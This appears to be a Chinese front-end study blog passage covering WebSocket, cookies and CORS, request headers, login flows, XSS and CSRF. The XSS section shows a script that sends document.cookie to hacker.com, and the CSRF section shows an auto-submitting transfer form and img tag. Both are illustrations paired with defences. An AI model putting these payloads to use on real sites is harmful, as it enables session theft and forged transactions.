将http请求的超时时间设置的很大,比如20s,30秒,如果在这段时间内用户扫码了,则立即返回响应到客户端,如果在这段时间内用户未扫码,则立马发起下一次长轮询。百度云盘就是这么做的。

上述这2种方案本质还是客户端主动请求,服务端主动推送,不是真正的服务端主动推送,接下来就不得不介绍websocket了。

是什么

WebSocket,是一种网络传输协议,位于OSI模型的应用层

可在单个TCP连接上进行全双工通信,能更好的节省服务器资源和带宽并达到实时通迅。

协议名

引入wswss分别代表明文和密文的websocket协议,且默认端口使用80或443,几乎与http一致

1
2
3
ws://www.chrono.com
ws://www.chrono.com:8080/srv
wss://www.chrono.com:445/im?user_id=xxx

建立连接

在客户端,尝试建立ws连接需要执行如下代码:

1
const ws = new WebSocket("ws://localhost:8080")//传入url,与指定的服务器建立连接

当执行上述代码时,览器会自动发起一个 HTTP 请求,但这个请求的目的是“协商升级协议”

1
2
3
4
5
6
7
GET / HTTP/1.1
Host: localhost:8080
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: http://localhost:3000

Connection: Upgrade,表示希望升级连接;Upgrade: websocket,明确要升级为 WebSocket 协议;Sec-WebSocket-Key是客户端生成的随机密钥,用于安全验证;Sec-WebSocket-Version表示协议版本(通常是 13)

如果服务器支持 WebSocket,它会返回一个特殊的 HTTP 101 响应

1
2
3
4
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

状态码 101:表示“正在切换协议”Sec-WebSocket-Accept是服务器根据 Sec-WebSocket-Key 计算出的响应密钥,用于验证握手。

一旦握手成功,TCP 连接保持打开,后续通信不再使用 HTTP,使用 WebSocket 进行全双工通信

也就是说建立ws连接前,需要进行http握手,为什么呢?WebSocket 使用 ws://wss://,但端口通常是 80 或 443(与 HTTP/HTTPS 相同)

而在http握手前,还需通过3次tcp握手建立tcp连接。

与HTTP的区别与联系

和http协议一样,都是一种网络传输协议,都工作在应用层,收发数据都基于tcp连接

http中,只能客户端主动发送请求,服务端被动响应,服务端始终不会主动推送数据,而在ws中,服务器可以主动给客户端推送数据。

简单的来说,http协议是半双工的,ws协议是全双工的。

创建ws连接后,后续通信可省略状态信息,因为基于持久连接,服务器可以维护会话状态,不同于HTTP每次请求需要携带身份验证,

使用方式

服务端

安装

1
npm i ws

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const ws = require('ws')
//创建一个websocket服务
const wss = new ws.Server({port:8080},()=>{
console.log('开启服务成功')
})
//连接的用户数
let num = 0
//监听客户端连接
wss.on('connection',(socket)=>{
//socket是服务器和某个客户端建立的socket连接
console.log('在线用户数:',++num) //用户数加1
//给连接到服务器的客户端添加消息监听
socket.on('message',(e)=>{
//wss.clients可以理解为,所有与服务端连接的socket实例数组,任意用户收到消息,广播给全部用户
wss.clients.forEach(client=>{
//client的类型和socket差不多吧
client.send("这是来自服务端的消息:" + e.toString())
})
})
//给连接到服务器的客户端,添加连接关闭的监听
socket.on('close', () => {
console.log('Client disconnected','在线用户数:',--num);
});
})

let timer = null
// 设置一个定时器,每隔一段时间检查所有连接的状态
timer = setInterval(()=>{
//检测每个用户的连接状态
wss.clients.forEach(client=>{
if(client.readyState === ws.OPEN){
client.send('连接正常')
}
})
},5000)

客户端

使用内置的WebSocket即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<body>
<button onclick="emit()">send</button>
<button onclick="ws.close()">close</button>
<input type="text">
</body>
<script>
const socket = new WebSocket("ws://localhost:8080") //登录ws服务器拿到一个socket连接实例
socket.addEventListener('open',(e)=>{
console.log("客户端连接服务器成功")
})
//监听服务端传来的消息
socket.addEventListener('message',(e)=>{
//e的数据类型是一个对象
console.log(e.data)
})
//向服务器发送消息
const input = document.querySelector('input')
function emit(){
socket.send(input.value)
}
</script>

客户端创建ws对象使用的是js内置WebSocket对象,服务端使用的是npm下载的node

客户端监听使用addEventListener,服务端监听使用on

双端发送消息使用的都是send,接受消息的事件名都是message,不过传入回调函数的数据格式不同。

应用场景

弹幕,媒体聊天,协同编辑,基于位置的应用,体育实况更新,股票基金报价实时更新

跨站和跨域有什么区别?什么是主域名,子域名?

添加这部分内容主要是为了后续理解cookie和localStorage

浏览器通过 eTLD+1 判断是否属于同站(Same-Site)请求,防止跨站攻击。其中eTLD( Effective Top-Level Domain),意为有效顶级域名

  • www.bilibili.comgame.bilibili.com同站(共享 eTLD+1,即 bilibili.com)。
  • a.github.iob.github.io跨站(因 github.io 是公共后缀,视为不同站点)。

我们可能会问,com是有效顶级域名,允许用户直接注册二级域名(如 example.com),但这里的io为什么就不是有效顶级域名?github.io要被视为公共后缀(也就是特殊的顶级域名)。因为这类特殊的顶级域名,不允许用户直接注册二级域名,通常由服务商统一管理子域,防止恶意网站通过子域共享 Cookie 或凭据(如 user1.github.iouser2.github.io 应视为不同站点)

主域名通常就是eTLD+1,域名的其他部分就是子域名,因此我们可以说,简单的来说,主域名相同就是同站,否则就是跨站

完整域名eTLD(有效顶级域名)eTLD+1(主域名)
www.bilibili.com.combilibili.com
user.github.iogithub.io(公共后缀)user.github.io
shop.co.uk.co.ukshop.co.uk

跨域就是浏览器基于同源策略,推出的安全手段,请求的域名,协议,端口号中有一项和当前页面的不同,就是跨域请求,跨域不一定跨站(比如只是协议不同),但是跨站就一定跨域(因为跨站域名一定不同)。

说说withCredentials

withCredentialsXMLHttpRequest中的一个属性,用于控制是否在跨域请求中发送凭据(如 cookies、HTTP 认证信息等)。

1
2
3
4
// 原生XHR
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.example.com/data', true);
xhr.withCredentials = true; // 启用凭据
1
2
3
4
5
// Fetch API
fetch(url, { credentials: 'include' });
// Axios
//这个配置项说明,withCredentials不是请求头,而是和headers同一级别的属性
axios.get(url, { withCredentials: true });

当浏览器检测到跨域请求需要携带凭证(如 withCredentials: true)时,会触发以下机制

此次跨域请求会携带凭证,但响应头中必须同时满足

1
2
Access-Control-Allow-Origin: https://your-domain.com  // 明确指定域名,禁止使用 *
Access-Control-Allow-Credentials: true

如果响应中未正确返回上述字段,或 Access-Control-Allow-Origin 使用了通配符 *,那么浏览器会拦截此次携带凭据的跨域请求的响应结果。

简单的来说,不但需要前端配置withCredentials: true,还需要后端配置CORS,才能实现跨域携带cookie。

举个例子:

如果当前页面是 www.bilibili.com,并且你发送一个请求,请求的域名是 www.bilibili.com,因为这个请求没有跨域,那么无论是设置为 Domain=www.bilibili.com 的 Cookie, 还是设置为 Domain=.bilibili.com 的 Cookie 都会被自动携带。

但当你在 https://www.bilibili.com 页面下,发送请求 https://game.bilibili.com 时,这是一个跨域请求,但是没跨站Domain=www.bilibili.com 的 Cookie不会被自动携带,因为它们仅限于 www.bilibili.comDomain=.bilibili.com 的 Cookie可能会被携带,但是需要满足以下条件:

  • 客户端在请求中明确设置了 withCredentials: true
  • 服务器在响应中,正确配置了 CORS 头,允许凭据传输。

如果withCredentials的值为false(就是没有配置或者配置为false),那即便Domain=.bilibili.com的cookie能在game.bilibili.com下生效,也不会被携带。

如果发送请求,请求的域名是www.sanye.blog,很明显这是一个跨站请求(同时也是一个跨域请求),此时如果我们想要这个请求能携带cookie,就必须在请求的时候设置withCredentials = true,然后服务器还需要响应正确的cors头,cookie的SameSite的值为必须为None

前端网络安全

XSS

跨站脚本攻击(Cross-Site Scripting,简称XSS),不叫css主要是为了和防止和层叠样式表(Cascading Style Sheets, CSS)混淆。

只有动态页面才会受到xss攻击,而纯静态页面则不会

核心思想

让受害者浏览器执行攻击者注入的恶意 JavaScript 脚本。

本质:输入未过滤,导致恶意脚本被执行。

攻击原理

假设你有一个论坛网站,用户可以发帖:

1
2
标题:<input type="text" name="title">
内容:<textarea name="content"></textarea>

攻击者发了一个帖子,内容是:

1
2
3
4
<script>
// 窃取用户的 cookie(包含登录信息)
fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>

如果你的网站没有对内容做转义或过滤,这段代码就会被当作 HTML 渲染,所有访问这个帖子的用户都会执行这段脚本!

一旦脚本执行,攻击者可以:

  • ✅ 窃取 cookielocalStorage 中的 token
  • ✅ 冒充用户发送请求(如转账、发消息)
  • ✅ 记录键盘输入(密码、银行卡)

如何防御 XSS?

  • 输入过滤,转义html字符(大于号小于号),前端框架支持自动过滤,转义html字符
  • 非必要不使用innerHTML,而是使用innerText属性
  • 给隐私敏感的cookie添加httponly属性

CSRF

Cross-Site Request Forgery,跨站请求伪造,利用用户已登录的身份,在用户不知情的情况下,伪造请求。

假设你登录了银行网站 bank.com,浏览器保存了 Cookie(含登录状态)。

攻击者诱导你访问一个恶意网站 hacker.com,其页面包含:

1
2
<!-- 隐藏的 form,自动提交,向攻击者转账10000 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

或者:

1
2
3
4
5
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

由于你已经登录 bank.com,浏览器会自动携带 Cookie,请求成功执行!

跨站请求不是不会自动携带cookie吗,上述例子是跨站请求,怎么会自动携带cookie?

CSRF 攻击利用的是 <form> 提交<img> 等 HTML 元素的“跨站请求”能力,这些请求是“跨站(Cross-Site)”,但浏览器仍然会自动携带 Cookie,前提是:目标网站(如 bank.com)的 Cookie 没有设置 SameSite 属性,或设置为 SameSite=Lax/None。

对比

维度XSSCSRF
全称Cross-Site ScriptingCross-Site Request Forgery
攻击目标窃取用户数据、执行脚本利用用户身份发起请求,通常是跨站请求
攻击方式注入恶意脚本伪造请求
依赖条件网站存在输入漏洞用户已登录 + 无 CSRF 防护
是否需要用户交互通常需要点击或访问恶意页面可能完全无感
典型存储位置localStoragecookie(非 HttpOnly)cookie(自动携带)
主要防御输入转义、CSP、HttpOnlySameSite

host referer origin

Host

作用Host 头部是HTTP/1.1协议中必须包含的一个请求头,用于指定请求的目标主机名和端口号

格式Host: example.com[:port]

用途:它帮助服务器识别客户端想要访问的具体主机,这对于虚拟主机(即在同一IP地址上托管多个域名)非常重要。典型的例子就是github.iogithub pages都被托管到4个固定的ip,但是却对应多个域名,比如域名syhy.github.iosanye.github.io对应的其实可能是同一个ip地址,但是服务器可以根据请求中的host,即syhy.github.iosanye.github.io,判断出一个是要访问用户syhy的pages,一个是想要访问sanye的pages。如果URL使用了默认端口(HTTP为80,HTTPS为443),则可以省略端口号。

示例:

1
Host: www.example.com

值得注意的是,一个页面的location对象中也有host属性,不过这个指的是当前页面的域名+端口号

Referer

作用Referer 头部包含了发起当前请求的页面的URL。它主要用于追踪用户是从哪个页面跳转过来的,有助于分析流量来源以及实现防盗链等功能。

注意拼写错误:虽然正确的英文单词应该是“Referrer”,但在HTTP协议中该头部被误写作“Referer”。

格式Referer: http://example.com/path

用途:网站可以通过这个信息来了解用户是从哪里链接过来的。常用于统计分析、反盗链措施等场景。

示例

1
Referer: https://www.example.com/previous-page

Origin

作用Origin 头部用于标识发起请求的源站点(scheme, host, port)。它主要应用于跨域请求中,用来告知服务器请求的来源,以便决定是否允许该请求。

格式Origin: scheme://host[:port]

用途:在跨域请求时,浏览器会自动添加此头部以帮助服务器判断是否接受来自不同源的请求。

Referer不同的是,Origin仅包含协议、主机名和端口号,而不包括具体的资源路径

示例

1
Origin: https://www.example.com

总结

Host:指定请求的目标主机和端口,是HTTP请求的基本组成部分(域名+端口号)

**Referer**:提供发起请求的当前页面的完整URL,主要用于跟踪用户行为或实施安全策略(协议+域名+端口号+资源路径)。

**Origin**:标识请求发起者的源(协议+主机+端口),主要用于跨域请求的安全控制(协议+域名+端口号)

比如我在https://www.example.com/post/index.html发送一个请求https://www.sanye.blog,这个请求的host就是www.sanye.blog,而这个请求的referer就是https://www.example.com/post/index.html,这个请求的origin就是https://www.example.com

其他

这部分我看到的比较有意思的面试题,或者自己想出的问题,不过面试问的问题都是基于项目出发的,懂的都懂。

说说二维码登录流程

  • 用户在网页上选择二维码登录选项。

  • 网页携带设备信息(如浏览器类型、操作系统等)向服务器请求生成用于登录的二维码;服务端生成一个二维码id,并将这个id与请求中携带的设备信息绑定,存储在服务器数据库中,把二维码id返回给网页。

  • 网页获取二维码id后,展示二维码,并轮询二维码状态(设置定时器,每个一段时间发送一个ajax请求询问二维码状态)。

  • 用户用移动设备扫描二维码,获取到二维码id,移动设备将账号信息连同二维码id发送给服务器

  • 服务端收到信息后会将账号信息二维码id绑定,并返回一个临时token;此时移动端会提示是否登录,pc端二维码状态变为已扫描

  • 移动端确认登录,会将临时token发送到服务器,服务器收到token后会根据二维码id绑定的设备信息用户信息生成一个用于pc端登录的token,并在pc端轮询二维码状态的时候返回给pc端

说说用户登录流程

  • 用户输入账号密码,前端先校验账号密码的格式是否正确,然后把账号密码连同设备信息(如浏览器类型、操作系统、设备标识符等)发送给后端对应接口
  • 后端校验账号密码是否正确,如果校验通过(正确),把设备信息账号绑定,并返回一个根据用户id设备信息加密后生成的token字符串
  • 前端接收到返回的token后把它存储在localStorage
  • 后续前端的每次请求都会携带token设备信息
  • 后端会校验请求中的token是否有效,是否与携带的设备信息匹配,不匹配或者token无效则请求失败;服务器应该返回相应的错误信息,并要求用户重新登录。

如何实现控制文件点击下载或者预览

前端

不添加download属性,默认点击链接预览图片

通过a标签的download属性强制下载,但是必须要求网页以http/https协议(网络协议)加载,不能是直接打开的网页。

1
<a href="./violet.png" download="薇尔莉特">点击下载</a>

给download赋值可以指定下载时,使用的文件名。如果省略此属性,则浏览器会尝试自动解析URL中的文件名(寻找默认文件名)

后端

可以在响应头中通过设置Content-disposition来决定是下载还是预览,因为点击a链接会送一个获取图片(文件)的请求。

inline

指示浏览器直接显示内容(如在浏览器窗口或新标签页中打开),这是默认行为。

attachment:指示浏览器将内容作为附件下载,同时还可以通过filename指定下载名称

1
2
Content-Disposition: inline;
Content-Disposition: attachment; filename="example.pdf";

如何让图片复制后的链接失效

在链接中添加token,让这个链接变成临时链接

使用URL.createObjectURL创建的临时url来展示图片